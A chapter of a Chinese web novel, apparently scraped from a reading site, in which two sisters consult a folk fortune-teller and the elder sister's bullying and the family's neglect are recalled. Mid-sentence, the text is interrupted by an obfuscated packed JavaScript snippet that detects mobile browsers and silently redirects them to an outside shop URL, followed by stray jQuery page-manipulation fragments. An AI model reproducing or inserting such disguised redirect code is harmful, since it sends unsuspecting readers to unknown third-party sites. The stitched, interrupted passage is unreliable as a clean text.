终于到梅鹿衔和梅灵芝了。

    两人刚要跪在在神台前,大仙的大女儿便带进门来一伙男人,身着黑色套装黑皮鞋,中间簇拥着一个青年男子,身披带帽子的黑色貂皮大氅,修长的腿上隐约可见穿着军裤,脚蹬一双崭新黑亮的马靴,男子肤色白皙,鼻梁挺直,剑眉星目,挺拔的身姿在人群中鹤立鸡群,浓密的头发侧分,一脸正气,坚毅的神情,周身散发出富贵气。

    梅鹿衔第一次看到貂皮还能被男性穿出出尘的仙气,那青年矜贵的气质冲淡了皮草的庸俗。

    看到青年气质高贵脱俗,大家不由把目光不约而同投向神堂内,坐在炕上等候问事的穿貂商人。青年没来之前,众人看他穿着貂皮财大气粗的模样,很多人投去羡慕的眼光,这富商也看到了穿貂皮的青年,立刻蜷缩了身子,透出自卑来,富商在青年男子面前透露出很厚重的庸俗土气。

    几人簇拥着青年男子,动作整齐划一,气势十足威风凛凛,周围人自动让开了中间的一条道儿。有两人直接走上前将神台上的供品挪到边儿,在神台上供上自己带来的各种高级供品,大仙看到男子,眼神中透露出慈爱的笑容,“来了!”

    男子恭敬的向大仙鞠躬,“今日奉父母之命,特来为祖母康复还愿。”

    男子上前走到神台前,看了一眼本是梅鹿衔她们要跪的莲花坐垫,眼色活络的梅灵芝双颊绯红面若桃花,眼睑含水媚笑挑眼看男子,语气甜美,“不妨事的,您先吧。”

    梅鹿衔皱起眉头有些不高兴,觉得被冒犯,这下辛辛苦苦大老远跑来等这么久,还不能按顺序看上,男子加塞儿如此理直气壮,不事先征求意见或打个招呼说句好话,也有些生气梅灵芝势利眼儿,一看男子似乎有权有势,又立刻谄媚起来,梅灵芝对梅鹿衔总是一副高高在上。

    大仙面对青年男子态度可亲,对其他人冷冰冰,梅鹿衔心中嘀咕:原来连大仙也并不总是冷淡,客气和热情也分人的,大仙有亲疏之别。

    梅鹿衔也只能退后一步,继续等候。

    梅鹿衔竖起耳朵听大仙给穿黑貂大氅男青年还愿,才大概听明白了,青年男子祖母和大仙应当是关系亲密的故交,祖母寿数已到,老人家昏迷数日,一直在医院抢救,但青年的父亲,无法接受母亲驾鹤西游,求了大仙保母亲性命并续寿数,大仙说的正月初一准时醒来,这些天已经下地行走了!所以青年特先来替父母还愿,并拜谢大仙救命之恩,说是天热些祖母身体更好些了,父母会亲自来拜谢大仙。

    神堂里的人觉得真是开了眼儿了,但是心里也清楚,普通百姓家也不会有地位让大仙如此耗费心力,为其家人续命的。

    青年还完愿临走时,才看了一眼被他抢先加了塞儿的梅鹿衔和梅灵芝,稍垂眸点了一下头表示谢意,但是那张棱角分明的脸和依然透着清冷凌冽的眼神,居高临下盛气凌人,没有说句谢谢,仿佛给个眼神示意就已经很抬举梅鹿衔二人了。

    梅鹿衔还在因为被插队满脸不高兴,不服气眼神恰好迎上青年军官的眼神,两人对视,鹿衔不禁两耳发烫,看着他是因为心生不满,但这英俊的青年男子,误以为梅鹿衔猥琐偷窥,像是发花痴般的垂涎三尺,故而眼露不屑一扫而过。

    梅鹿衔意识到被误会,又不能上前贸贸然解释,心中暗骂:小白脸儿不讲规距加塞儿还这样骄傲,不过是没礼貌的世家纨绔子弟罢了,哼……

    青年男子还愿后,一行人走掉,这才轮到梅灵芝和梅鹿衔。

    大仙用眼神示意梅灵芝跪下。

    梅灵芝赶紧把双手手掌心摊开到神台前的大仙面前,报上姓名和八字。

    大仙将两只手掌挨个看完,看看梅灵芝的脸,长出一口气,低声念了几句经,抬着头面对神台,只留了个侧脸给梅灵芝,“你不是来看病的,你是来问事儿的。你这个妮子,心强的很,什么都想要最好的但什么都不成,没钱没可养过自己的活计,身边也没什么抵上用的朋友全是小人,但全是你自己招的,你得改改自己的脾气心性儿,别总是不依不饶,遇事对人抬抬手放过去,你自己自然也就好过了。”

    大仙这时才又看了一眼愣住的梅灵芝,接着说到:“你想问姻缘,左一个右一个的都不成,现在这个也没正经事儿干,到处给歌舞厅看场子,时常因嗜酒被人家开掉,三天两天不见了,在外面找别的女人,不顺了又回头找你。有事找你哭诉,没事了自己躲起来偷偷花钱没你的份儿,嘴上说着要和你成婚,但是不见一点儿行动是不是?”

    梅灵芝连忙点头称是。

    大仙又说:“你是想分开,但又一直遇不上合适的,生怕放过了这个自己嫁不掉,和他在一起你又像他妈,替他操心,担心他整日醉酒怕冻死在外面,又像他的大兄弟,不止陪他喝酒还得给他出谋划策,就是不像夫妻,是不是?”

    周围的人哄笑起来,有些人便接嘴:“这样还要他做什么?!又不是找儿子!”

    “快别要了,找儿子都嫌他太老太没用了!”

    ……

    梅灵芝顾不上难堪,“是...是这样,那大仙儿我该怎么办呢?我人生的这么漂亮,但家里拖累我,再好的样貌也经不住这样蹉跎啊,我都二十八九岁了,再不出嫁就嫁不出去了。也找不到不累又有钱还体面的好活儿可做,还没钱。您帮帮我吧,我想嫁个有钱人,我这辈子不能就这样交代了啊,这也太对不起我的好容颜了……”对今后的面对不知结果的日子诚惶诚恐,带着哭腔的求大仙,完全没了往日的高傲跋扈,平日里嚣张跋扈的梅灵芝竟然会这样卑微,梅鹿衔心中也生出凄凉。

    大师沉吟,“嗯,好吧我给你驳斥驳斥,你今后做人要多存善念,不要诅咒他人,少生恶念不要害人,记住你所受皆为你所施,磕头。”

    事后梅鹿衔细细回味才后知后觉的明白,“怪不得梅灵芝经常大晚上天寒地冻的跑出去好半天,回来冻得搓手跺脚,大概是酒徒杨卫利不上班时候赶酒场,梅灵芝怕酒徒喝醉冻毙街头,担心惦记去找他去了。”

    梅鹿衔替她不值,“那个杨卫利整天一身酒气,经常醉醺醺话都说不清,来找梅灵芝的时候都站不稳了,她自己生的也好看,又不缺鼻子少眼儿,去中街的商行找个活儿自给自足多好,和这种人在一起做什么?!”但她自己愿意,旁的人劝也劝不住,又是争强好胜的性格,“算了,我还是别多事儿,若是被她知道我一个被她嫌弃的人还同情心疼上她了,她准会恼羞成怒打骂我。”梅灵芝是一点儿都分不清好赖的。

    很多年后,经历了很多事情,梅鹿衔又回想起大仙对梅灵芝所说的所有话,才明白为什么梅灵芝身边全是小人,因为她自己为人处世就是小人行径,在家里仗着自己是老大,仗着弟妹都顾念亲情打起弟弟妹妹下死手,老梅也不敢惹她躲着她,遇见外面的混子来找梅灵芝,怕挨打从来都是视若无睹或是脚底抹油溜之大吉,梅灵芝在家没人敢惹,在外面,外人谁也不是吃素的,她既不敢下死手还要不依不饶,嘴头子上极尽所能的刻薄,外人当然记恨她要还击,所以不论谁和她做朋友,哪怕是再亲密无间,也不论对她多好,最终都会反目成仇,不会有任何一个朋友愿对她施以援手。

    从小到大梅灵芝仗着第一个出生,父母感情还好,长相行事做派又像极了梅妈妈,深得梅妈妈宠爱,在家里称王称霸,遇上不遂她愿的事情就动手打弟弟妹妹,在家打砸闹腾的天翻地覆,把家里人抓的满脸抓痕,后来打不过弟弟还会上嘴咬人,平日里抢夺弟妹的东西,即便是自己不要了也不会还给弟妹,通通都要玩坏、用坏、拿去送人、故意剪成碎片。

    梅妈妈的宠溺却也导致梅灵芝并不怕她,甚至越是有人的时候越是故意要揭梅妈妈的老底,拿住梅妈妈把柄似的肆无忌惮说着不留情面的话,“妈,你怎么最近不去厮混了?是不是没钱就没野男人搭理你?也是,老皮了,看起来就丑……”梅妈妈在外面好吹牛好面子,生怕她当场胡说八道导致自己下不来台,赶紧给梅灵芝钱,让她想干什么就赶紧干什

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816520|211065||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    么去,让梅灵芝总有种天下无敌的错觉,而她自己,却觉得自己在外面是叱咤风云。

    在梅鹿衔记忆里,记事后这一对本就没个正形儿的父母就整天不务正业,好好的家也愈发败落了,到后来,两人各自浪荡各自的,彻底不管孩子,自己不回家在外面厮混,即使回家后碰到一起,也是鸡飞狗跳。

    至于养孩子,倒是在政府一个边缘部门做会计工作的梅爸爸,没扔下工作,每个月的薪水让他自己个人生活还不错,但最多给家里几个孩子们只买高梁米苞米碴子,再买几个咸菜疙瘩,让孩子们自己煮粘饭吃,只要饿不死就行,菜和肉就别想了。下班后也是不着家,直接去相好家里。

    有时候家里没有粮食了梅灵芝就打发梅鹿衔,“去!找老梅那个老不死的去要买粮食的钱,要不回来看我怎么收拾你!”

    几乎次次梅鹿衔都会被梅爸爸拉到无人角落里指着鼻子威胁臭骂:“你个讨债鬼,阴魂不散的往这里追,下次再敢来,老子皮给你扒了!拿上钱赶紧滚,看老子不打死你!”挨几巴掌后才能拿到一点儿买粮食的钱,可梅鹿衔如果不去或是要不回来钱,在家也是要被打。

    家里唯一好过点儿的就是梅鹿衔的哥哥,是梅爸爸唯一给钱花的孩子,但却也是极像梅爸爸自私自利、大部分时候只顾着自己,在和梅灵芝打架彻底臭了之后,偶尔也会给梅鹿衔分一些自己买回来的吃的,这是梅鹿衔在梅家唯一获得的一丝亲情了。

    父母也是混吃等死,梅灵芝便愈加放纵,肆无忌惮的堕落,整天招一群狐朋狗友,春燕、姜姜......一大堆不正经的男女朋友们到家里来,抽烟喝酒,出去各个舞厅鬼混,到处打牌、赶酒局……约朋友们到家中玩时就把梅鹿衔当仆人伺候她们,稍有不满就打骂,有时候春燕她们也看不过会顺带拉一把,让梅灵芝别这么打妹妹。

    梅灵芝和弟弟梅书丞,在打架绝交之前,有时候像是蜜里调油,有时又会突然因为小小口角就翻脸打架,不过梅书丞只小她两三岁,越长大了越有力气反抗她,她也不去招惹梅书丞,只专心盯着梅鹿衔欺负了。

    总之,这一家子男人打女人、女人打男人、女人打女人,除了梅鹿衔只有挨打的份儿,个个都武德充沛。

    多年后梅鹿衔在梅灵芝把自己婆家搅和的一塌糊涂后,才回忆起梅家的这一切,细细思量,这个家里制造事端的确实是梅灵芝,因为一个梅灵芝的存在,梅家和她婆家整个家里都鸡犬不宁。

    梅妈妈在子女都长大后经常到处夸耀,把孩子活着,长大成人都归功于自己,甚至还会在书丞一伙儿同学来家时也凑上去得意,“我的灵芝长大,愈发像我了,有勇有谋敢爱敢恨的新时代女子,灵芝能够震住家里所有人,在外又是个拿得起放得下的人物,相比较书丞自顾自的玩乐和这个梅鹿衔的窝囊蠢笨,怎么都觉得灵芝该最有出息才对,毕竟她最像我,而我没出头是因为年轻不懂事明珠暗投了,灵芝年纪轻轻眼界却极为开阔,也有手段,这个家今后肯定是依仗灵芝来辉煌的……”梅妈妈对梅灵芝言听计从,梅鹿衔却觉得这话听起来就很难堪,却也不敢说什么。

    梅鹿衔在梅妈妈出了房间后,去添茶时听到书丞的同学零星片语的私语,“觉得灵芝姐好像除了在家打弟妹下手挺毒、不学无术之外,也并没什么特别之处……”梅鹿衔无地自容,但是也从不敢说任何讨打的话。

    梅书丞每次听到这话都嗤之以鼻,“好了好了!别凑这里了,该做什么做什么去……”

    梅爸爸则除了装聋作哑,也不敢反驳梅妈妈,更不敢得罪梅灵芝,省得自己又挨梅灵芝的黑砖。

    一家人没人反驳,梅灵芝便总是沾沾自喜,自视甚高,误以为自己:“我是有治世之能的,只是时机未到。”

    有梅灵芝这么一个厉害人物在,这家里确实也从来也没消停过。

    但是在家里这么强悍霸道的梅灵芝,只要一交往男朋友就变得奴颜婢膝地谄媚,真是次次让梅鹿衔大跌眼镜。